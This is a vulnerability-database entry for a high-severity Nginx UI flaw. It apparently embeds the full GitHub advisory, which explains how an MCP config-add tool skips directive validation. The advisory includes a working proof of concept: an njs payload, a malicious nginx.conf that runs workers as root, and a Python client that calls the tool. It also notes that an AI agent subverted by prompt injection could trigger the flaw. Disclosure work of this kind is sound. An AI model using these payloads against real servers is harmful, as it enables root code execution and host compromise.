CVE-2026-84317: Nginx UI Remote Code Execution Vulnerability
HIGHCVE-2026-84317 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-693: Protection Mechanism Failure) affecting Nginx UI libraries in the Go ecosystem. The issue involves mcp nginx_config_add skips config directive validation → authenticated nginx directive injection (rce on the official image). Remediation is available by upgrading affected packages to version 1.9.10-0.20260703131214-23d1934099b0.
CVE-2026-84317 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-84317
To remediate this vulnerability, upgrade all affected Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260703131214-23d1934099b0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/Nginx-UI
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-84317, inspect your project dependencies for Nginx UI:
inspect dependencies for github.com/0xJacky/Nginx-UI
Analyze the terminal output to locate any version of Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.10-0.20260703131214-23d1934099b0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-84317 Affected Nginx UI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/Nginx-UI
|
Go |
< 1.9.10-0.20260703131214-23d1934099b0
|
1.9.10-0.20260703131214-23d1934099b0
|
References
Frequently Asked Questions
What is CVE-2026-84317?
Which Nginx UI versions are affected?
What version fixes CVE-2026-84317?
Is github.com/0xJacky/Nginx-UI affected?
What is the CVSS score of CVE-2026-84317?
What CWE is associated with CVE-2026-84317?
How can I check Go dependencies for CVE-2026-84317?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-76pm-mq2q-9gcr",
"modified" : "2026-10-15T20:11:07Z",
"published" : "2026-10-15T20:11:07Z",
"aliases" : [ "CVE-2026-84317" ],
"summary" : "Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)",
"details" : "## Summary\n`internal/config/validation.go` (`ValidateConfigFile`) is a security control that blocks dangerous\nnginx directives — `js_*`, `perl_*`, `load_module` of the njs/perl modules, and `user root`. It is\nenforced on three of the four config-write paths: `api/config/add.go`, `api/config/modify.go`, and\n`mcp/config/config_modify.go`. The fourth path — the MCP tool `nginx_config_add`\n(`mcp/config/config_add.go`) — does NOT call it: it writes the caller-supplied `content` straight to\ndisk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)\ncan therefore inject exactly the directives the control is meant to block, leading to nginx code\nexecution on deployments where the njs/perl module is available (e.g. the official Docker image).\n\n## Root cause — an incomplete hardening patch\nCommit `3e411d38` (\"Harden config write paths\", 2026-04-21) introduced `ValidateConfigFile` and\nwired it into the config-write paths — but its changeset touched only:\n api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),\n mcp/config/config_modify.go (+5)\nIt did NOT touch `mcp/config/config_add.go`. So the MCP add path was left without the validation\nthat all of its sibling paths received. `config_add.go` has never called `ValidateConfigFile`\n(verified via git history); this is an oversight in the hardening, not a regression.\n\n## Affected code (mcp/config/config_add.go, handleNginxConfigAdd)\n```go\ncontent := mcp.GetString(args, \"content\") // caller-controlled\n...\npath, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK)\n...\nerr = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content)\n...\nres := nginx.Control(nginx.Reload) // reloads nginx\n```\nContrast — the guarded sibling (mcp/config/config_modify.go) does:\n```go\nerr = config.ValidateConfigFile(absPath, content) // rejects js_*/perl_*/load_module/user root\nif err != nil { return nil, err }\n```\n\n## Proof of Concept (live, Docker, official image)\nImage `uozi/nginx-ui:2.3.11`, nginx 1.31.0. Authenticated with a valid node secret\n(`X-Node-Secret`). MCP over SSE; client script `poc_mcp_client.py` attached.\n\n1) Validation bypass (decisive):\n - `tools/call nginx_config_add {name:\"poc_blocked.conf\", base_dir:\"sites-available\",\n content:\"js_import poc.js;\\nperl_set $x 'sub{return 1}';\\nuser root;\\nload_module .../ngx_http_js_module.so;\"}`\n → SUCCESS; file written verbatim (confirmed on disk).\n - Same content via `nginx_config_modify` → REJECTED:\n `{\"code\":-32603,\"message\":\"file content contains restricted nginx directive: js_import\"}`.\n\n2) Effect (using only the vulnerable config_add tool):\n - Wrote `/etc/nginx/poc.js` (njs module) and overwrote `/etc/nginx/nginx.conf` with\n `load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899;\n location=/pwn { js_content poc.pwn; } }`. Tool returned SUCCESS (reload succeeded; `nginx -t` ok).\n - `/proc/<worker>/status` → `Uid: 0 0 0 0` (workers run as root — `user root` took effect).\n - `GET http://127.0.0.1:8899/pwn` → `pwned` (njs `js_content` executed).\n - `/tmp/NJS_RCE_PROOF.txt` created, owned by root → JavaScript code execution in the nginx\n worker performing arbitrary file write as root.\n\n### Reproduction payloads (self-contained)\nnjs module written to `/etc/nginx/poc.js` via `nginx_config_add` (name=\"poc.js\", base_dir=\"\"):\n```js\nimport fs from 'fs';\nfunction pwn(r){\n try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\\n'); }catch(e){ r.return(200,'ERR:'+e); return; }\n r.return(200,'pwned\\n');\n}\nexport default { pwn };\n```\nMain config overwritten via `nginx_config_add` (name=\"nginx.conf\", base_dir=\"\", overwrite=true):\n```nginx\nload_module /usr/lib/nginx/modules/ngx_http_js_module.so;\nuser root;\nworker_processes 1;\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\nevents { worker_connections 1024; }\nhttp {\n include /etc/nginx/mime.types;\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server { listen 8899; location = /pwn { js_content poc.pwn; } }\n}\n```\n\n### PoC client (MCP-over-SSE, Python stdlib only)\nSet `SECRET` to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT.\nUsage: `python3 poc_mcp_client.py list` then `python3 poc_mcp_client.py call <tool> '<json-args>'`.\n```python\nimport sys, json, threading, queue, time, http.client\nBASE = \"127.0.0.1:9000\"\nSECRET = \"<NODE_SECRET_OR_JWT>\"\nHDR = {\"X-Node-Secret\": SECRET} # or {\"Authorization\": \"Bearer <JWT>\"}\nresp_q = queue.Queue(); endpoint = {}\n\ndef sse_reader():\n conn = http.client.HTTPConnection(BASE, timeout=60)\n conn.request(\"GET\", \"/mcp\", headers={**HDR, \"Accept\": \"text/event-stream\"})\n r = conn.getresponse(); event = None\n while True:\n line = r.fp.readline()\n if not line: break\n line = line.decode(\"utf-8\",\"replace\").rstrip(\"\\r\\n\")\n if line.startswith(\"event:\"): event = line[6:].strip()\n elif line.startswith(\"data:\"):\n data = line[5:].strip()\n if event == \"endpoint\": endpoint[\"url\"] = data; endpoint[\"ready\"] = True\n else: resp_q.put(data)\n elif line == \"\": event = None\n\ndef post(obj):\n conn = http.client.HTTPConnection(BASE, timeout=30)\n conn.request(\"POST\", endpoint[\"url\"], body=json.dumps(obj).encode(),\n headers={**HDR, \"Content-Type\": \"application/json\"})\n return conn.getresponse().read()\n\ndef wait(wid, t=20):\n end = time.time()+t\n while time.time() < end:\n try: d = resp_q.get(timeout=t)\n except queue.Empty: break\n try: j = json.loads(d)\n except Exception: continue\n if j.get(\"id\") == wid: return j\n\nthreading.Thread(target=sse_reader, daemon=True).start()\nfor _ in range(50):\n if endpoint.get(\"ready\"): break\n time.sleep(0.1)\npost({\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\n \"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}); wait(1)\npost({\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}})\ncmd = sys.argv[1] if len(sys.argv) > 1 else \"list\"\nif cmd == \"list\":\n post({\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}})\n print([t[\"name\"] for t in wait(2)[\"result\"][\"tools\"]])\nelif cmd == \"call\":\n post({\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\n \"params\":{\"name\":sys.argv[2],\"arguments\":json.loads(sys.argv[3])}})\n print(json.dumps(wait(3, 25), indent=1))\n```\n\n## Impact\nAn authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses\nthe directive-validation security control and injects directives the project explicitly blocks\nelsewhere. On deployments with the njs/perl module available (the official Docker image ships\n`ngx_http_js_module.so`), this yields code execution in the nginx worker and, via `user root`,\narbitrary file read/write as root (trivially escalated to full host compromise:\n`/root/.ssh/authorized_keys`, `/etc/cron.d/*`, overwriting a binary). On stock nginx without those\nmodules it is a reliable DoS (failed reload) plus a `user root` privilege regression.\n\n## Honest scope / caveats\n- Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.\n- RCE is conditional on the njs/perl module being present; it ships in the official image, so the\n default Docker deployment is exploitable. Stock nginx without those modules → DoS instead.\n- The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive\n injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)\n- nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling\n workers run as root via `user root`.\n\n## Suggested fix\nCall `config.ValidateConfigFile(path, content)` in `handleNginxConfigAdd` before `os.WriteFile`,\nmatching `mcp/config/config_modify.go` and the API paths — i.e. complete the `3e411d38` hardening on\nthe one path it missed.\n\n--- (NOT a form field — include this as the closing section of the Description above) ---\n\n## Dedup / novelty\nDistinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, \"Unauthenticated MCP Endpoint\"), whose root cause\nis a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not\ninvolve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation\ncontrol on the config_add path, and works on a fully patched (post-33032) instance. No existing\nCVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for\nthis repo). Appears novel.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/Nginx-UI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.9.10-0.20260703131214-23d1934099b0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-84317"
}, {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
}, {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-693" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-15T20:11:07Z",
"nvd_published_at" : "2026-10-12T21:17:22Z"
}
}